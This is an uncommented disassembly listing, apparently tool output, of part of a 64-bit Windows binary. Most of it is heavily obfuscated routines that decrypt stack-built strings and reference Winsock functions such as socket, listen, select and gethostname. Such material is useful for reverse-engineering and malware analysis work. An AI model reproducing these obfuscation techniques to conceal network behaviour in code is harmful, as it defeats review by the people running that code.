jmp 0x14007e7f7
lea edx, [r10 - 0x1e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2e
add dil, dl
jmp 0x14007e7cc
lea ecx, [r10 + 0x58]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x68
jmp 0x14007e797
lea edx, [r10 - 0x32]
movzx eax, r9b
and al, dl
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007e794
movzx r11d, r10b
lea edx, [r11 + 0x44]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007e754
lea ecx, [r10 - 0x46]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x16
dec r10
inc r10
jmp 0x14007dc83
lea ecx, [r10 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x14007dc83
movzx r11d, r10b
lea edx, [r11 - 0x5a]
movzx eax, r9b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007e6e7
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x14007e333
lea edx, [r10 + 0x45]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x1d
jmp 0x14007e1a3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007e36a
lea ecx, [r10 + 0x52]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3e
movzx eax, byte [rbp + r10 + 0x400]
add rax, r8
add r10, rax
inc r10
jmp 0x14007dc83
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007e392
lea edx, [r10 + 0x66]
movzx eax, r9b
and al, dl
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007e7cc
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007e3ba
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007e797
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007e3df
lea ecx, [r10 + 0x7a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x56
jmp 0x14007e794
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007e408
movzx r11d, r10b
lea edx, [r11 + 4]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1c
jmp 0x14007e754
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007e1a6
movzx r11d, r10b
lea edx, [r11 - 0x5e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6e
jmp 0x14007e6e7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007e45e
movzx r11d, r10b
lea edx, [r11 - 5]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x23
jmp 0x14007e6e7
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007e489
lea ecx, [r10 + 0xf]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x69
dec r10
inc r10
jmp 0x14007dc83
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007e4b2
movzx r11d, r10b
lea edx, [r11 - 0x67]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2f
jmp 0x14007e754
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007e4d7
lea ecx, [r10 + 0x23]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0xb
jmp 0x14007e794
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007e159
lea ecx, [r10 - 0x53]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x45
jmp 0x14007e797
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007e537
lea ecx, [r10 - 0x5c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0x400]
add rax, r8
add r10, rax
inc r10
jmp 0x14007dc83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007e55f
lea edx, [r10 + 0x2e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x42
add dil, dl
jmp 0x14007e7f7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007e587
lea edx, [r10 + 0x42]
movzx eax, r9b
and al, dl
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007e797
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007e5af
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007e794
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007e5e0
lea edx, [r10 + 0x6a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14007dc83
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007e115
movzx r11d, r10b
lea edx, [r11 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007e6e7
movzx r11d, r10b
lea edx, [r11 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x400]
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r9b
jmp 0x14007e757
lea edx, [r10 - 0x6e]
movzx eax, r9b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0x400]
add dil, r9b
add dil, dl
jmp 0x14007e7cc
lea ecx, [r10 - 0x7d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x6b
movzx eax, byte [rbp + r10 + 0x400]
add rax, r8
add r10, rax
inc r10
jmp 0x14007dc83
lea edx, [r10 + 0x6f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 9
add dil, dl
jmp 0x14007e7cc
movzx r11d, r10b
lea edx, [r11 - 0x2f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x49
jmp 0x14007e754
movzx r11d, r10b
lea edx, [r11 + 0x33]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x65
add dil, dl
sub r11b, 0x3d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x55
add r9b, r11b
mov byte [rbp + r10 + 0x400], r9b
inc r8
dec r10
inc r10
jmp 0x14007dc83
lea ecx, [r10 + 0xb]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4d
dec r10
inc r10
jmp 0x14007dc83
movzx r11d, r10b
lea edx, [r11 - 0x7f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x79
add dil, dl
add r11b, 0x4d
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x1b
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x400], cl
jmp 0x14007e794
lea ecx, [r10 - 9]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x3f
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007dc83
lea rcx, [r10 + 0x61ae3]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x35
lea edx, [r10 - 0x29]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x1f
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x400], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x400], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x400]
add rax, r8
add r10, rax
inc r10
jmp 0x14007dc83
lea rcx, [r10 + 0x29dcf]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x57
movzx eax, byte [rbp + r10 + 0x400]
add rax, r8
add r10, rax
inc r10
jmp 0x14007dc83
sub r10b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x11
jmp 0x14007dc80
add r10b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x29
jmp 0x14007dc64
lea rcx, [rbp + 0x156065c]
jmp 0x14007e8bf
lea rcx, [rbp + 0xd6e5a1]
jmp 0x14007e8bf
lea rcx, [rbp + 0x400]
lea rdx, [0x1401de72c]
call fcn.1400393c0
mov byte [rbp + 0x2c0], 0xd1
mov byte [rbp + 0x2c1], 0xff
mov byte [rbp + 0x2c2], 0xcb
mov byte [rbp + 0x2c3], 0xf5
mov byte [rbp + 0x2c4], 0xfc
mov byte [rbp + 0x2c5], 0xf4
mov byte [rbp + 0x2c6], 6
mov byte [rbp + 0x2c7], 0xdd
mov byte [rbp + 0x2c8], 0xd7
mov byte [rbp + 0x2c9], 0xcf
mov byte [rbp + 0x2ca], 0x62
xor eax, eax
mov qword [rbp + 0x2cb], rax
mov word [rbp + 0x2d3], ax
movabs r14, 0xc4889fe1c7a97a52
movabs r15, 0xe8cd9ef004f54ce2
movabs r13, 0xd6ab1f68e64f639a
movabs r12, 0x4d99dfa556fc6ef6
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x15
jae 0x14007f490
movzx r9d, byte [rbp + r10 + 0x2c0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007f487
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007e9bc
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x3e
jmp 0x14007e9f0
je 0x14007f410
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007f3af
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007f380
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007f361
nop dword [rax]
cmp r8, r10
ja 0x14007f47e
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14007ea1a
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
jmp 0x14007ea60
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007f313
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007f2ee
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007f2cf
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007f27e
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007f250
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007ef60
nop dword [rax]
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14007ef3d
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007ef19
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007eef4
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007eed5
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007eec7
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007eeac
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007ee89
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007ee6e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007ee3d
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007ea70
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 0x400]
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007f45e
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14007f441
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007ec44
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007ec29
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14007ec0a
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007edf5
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007eda8
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14007ed63
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007ea70
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x20]
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14007ed32
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007ed17
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14007ecf4
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14007ecd9
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007eccb
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14007ecac
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007ec87
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007ec63
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14007ea70
lea rbx, [r8 + 6]
lea r8, [rbx + 3]
jmp 0x14007ea70
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007ea60
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
jmp 0x14007e9f0
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007e986
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
inc r8
dec r10
inc r10
jmp 0x14007e973
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007e973
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
movzx r11d, r10b
jmp 0x14007f20a
lea edx, [r10 + 0x40]
mov ecx, 0x20
jmp 0x14007f36a
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
jmp 0x14007f396
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007f29c
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x14007f3cd
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e973
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
cmp r8, 8
jb 0x14007f1d4
movzx r11d, r10b
lea edx, [r11 - 0x54]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x68]
jmp 0x14007f331
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x64
jae 0x14007f1e4
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x14007f11c
lea edx, [r10 + 0x44]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007ed79
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x26
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x14007f236
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14007f015
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
jmp 0x14007edb7
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e973
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x14007f3cd
movzx r11d, r10b
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007f29c
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x14007f396
lea edx, [r10 - 0x34]
mov ecx, gethostname
jmp 0x14007f36a
movzx r11d, r10b
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x14007f20a
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007e973
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
inc r8
dec r10
inc r10
jmp 0x14007e973
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007f331
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14007ef87
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
jmp 0x14007ee0b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007efbd
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e973
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007efe5
movzx r11d, r10b
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x14007f29c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007ee0b
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007f20a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007f03d
movzx r11d, r10b
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
jmp 0x14007f331
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007f067
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
dec r10
inc r10
jmp 0x14007e973
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007f093
movzx r11d, r10b
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007f20a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007f0ba
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
add rbx, r8
jmp 0x14007f396
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007f0e2
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007f396
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007edc2
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e973
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007f153
lea ecx, [r10 - 0x18]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x58
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e973
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007f17c
movzx r11d, r10b
lea edx, [r11 + 0x30]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x50
jmp 0x14007f299
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007f1a7
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
dec r10
inc r10
jmp 0x14007e973
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007ed79
movzx r11d, r10b
lea edx, [r11 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x38
jmp 0x14007f32e
mov byte [rbp + r10 + 0x2c0], dil
inc r10
jmp 0x14007e973
movzx r11d, r10b
lea edx, [r11 + 0x50]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x2c0]
sub dil, al
sub dil, 0x30
add dil, r9b
add dil, dl
sub r11b, 0x5e
movzx eax, r11b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x6e
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x2c0], cl
add rbx, r8
jmp 0x14007f396
movzx r11d, r10b
lea edx, [r11 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14007f299
lea ecx, [r10 + 0x7e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x72
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e973
movzx r11d, r10b
lea edx, [r11 + 0x36]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7a
add dil, dl
add r11b, 0x46
movzx eax, r11b
and al, r9b
mov ecx, listen
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x2c0], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14007f3cd
lea edx, [r10 - 0x6e]
movzx eax, r9b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007f396
lea edx, [r10 - 0x5a]
movzx eax, r9b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14007e973
movzx r11d, r10b
lea edx, [r11 + 0x5e]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
sub r11b, 2
movzx eax, r11b
and al, r9b
mov ecx, 7
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x2c0], cl
inc r8
dec r10
inc r10
jmp 0x14007e973
lea edx, [r10 - 0x7a]
mov ecx, 0x2b
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14007f396
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2e
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007e973
lea rdx, [r10 + r13]
movzx r9d, r11b
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x36
add dil, dl
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x28
add cl, r9b
mov byte [rbp + r10 + 0x2c0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e973
lea rcx, [r10 + r12]
movzx eax, cl
and al, r11b
mov edx, 0x23
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007e973
sub r10b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
jmp 0x14007e970
sub r10b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007e955
lea rcx, [rbp + 0x15e31d8]
jmp 0x14007f497
lea rcx, [rbp + 0x47ac2a]
jmp 0x14007f497
lea rcx, [rbp + 0x2c0]
lea rdx, [0x1401de72a]
call fcn.1400393c0
mov byte [rbp + 0x550], 0x59
mov byte [rbp + 0x551], 7
mov byte [rbp + 0x552], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x553], WSAStartup
mov byte [rbp + 0x554], 6
mov byte [rbp + 0x555], WSAStartup
mov byte [rbp + 0x556], 0xbc
mov byte [rbp + 0x557], 0x51
mov byte [rbp + 0x558], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x559], 0x67
mov byte [rbp + 0x55a], 0xb8
mov byte [rbp + 0x55b], 0x58
mov byte [rbp + 0x55c], 8
mov byte [rbp + 0x55d], reloc.WS2_32.dll_socket
mov byte [rbp + 0x55e], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x55f], 0x1e
mov byte [rbp + 0x560], 0x1b
mov byte [rbp + 0x561], 0x81
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x562], xmm0
mov dword [rbp + 0x572], eax
movzx edi, byte [rsp + 0x50]
xor r13d, r13d
nop dword [rax + rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x26
jae 0x14007fdb6
movzx r9d, byte [rbp + r10 + 0x550]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007fdad
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007f59f
lea rcx, [r10 + 0xdf43]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x2b
jmp 0x14007f5d0
je 0x14007fd3b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007fcd3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007fc7b
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007fc5a
nop dword [rax]
cmp r8, r10
ja 0x14007fda4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007f5fa
lea ecx, [r10 + 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x79
jmp 0x14007f630
je 0x14007fc13
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007fbef
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007fbd4
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007fb90
nop word [rax + rax]
lea rdx, [r8 + rbx]
cmp rdx, r10
jbe 0x14007f8b6
nop dword [rax]
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007f893
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007f86f
lea rcx, [r8 + 0x80]
cmp rbx, rcx
je 0x14007f84a
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007f827
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007f80c
mov rbx, rcx
lea r8, [rcx + 0x61]
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x14007fd88
lea rax, [r8 + 0x20]
cmp rcx, rax
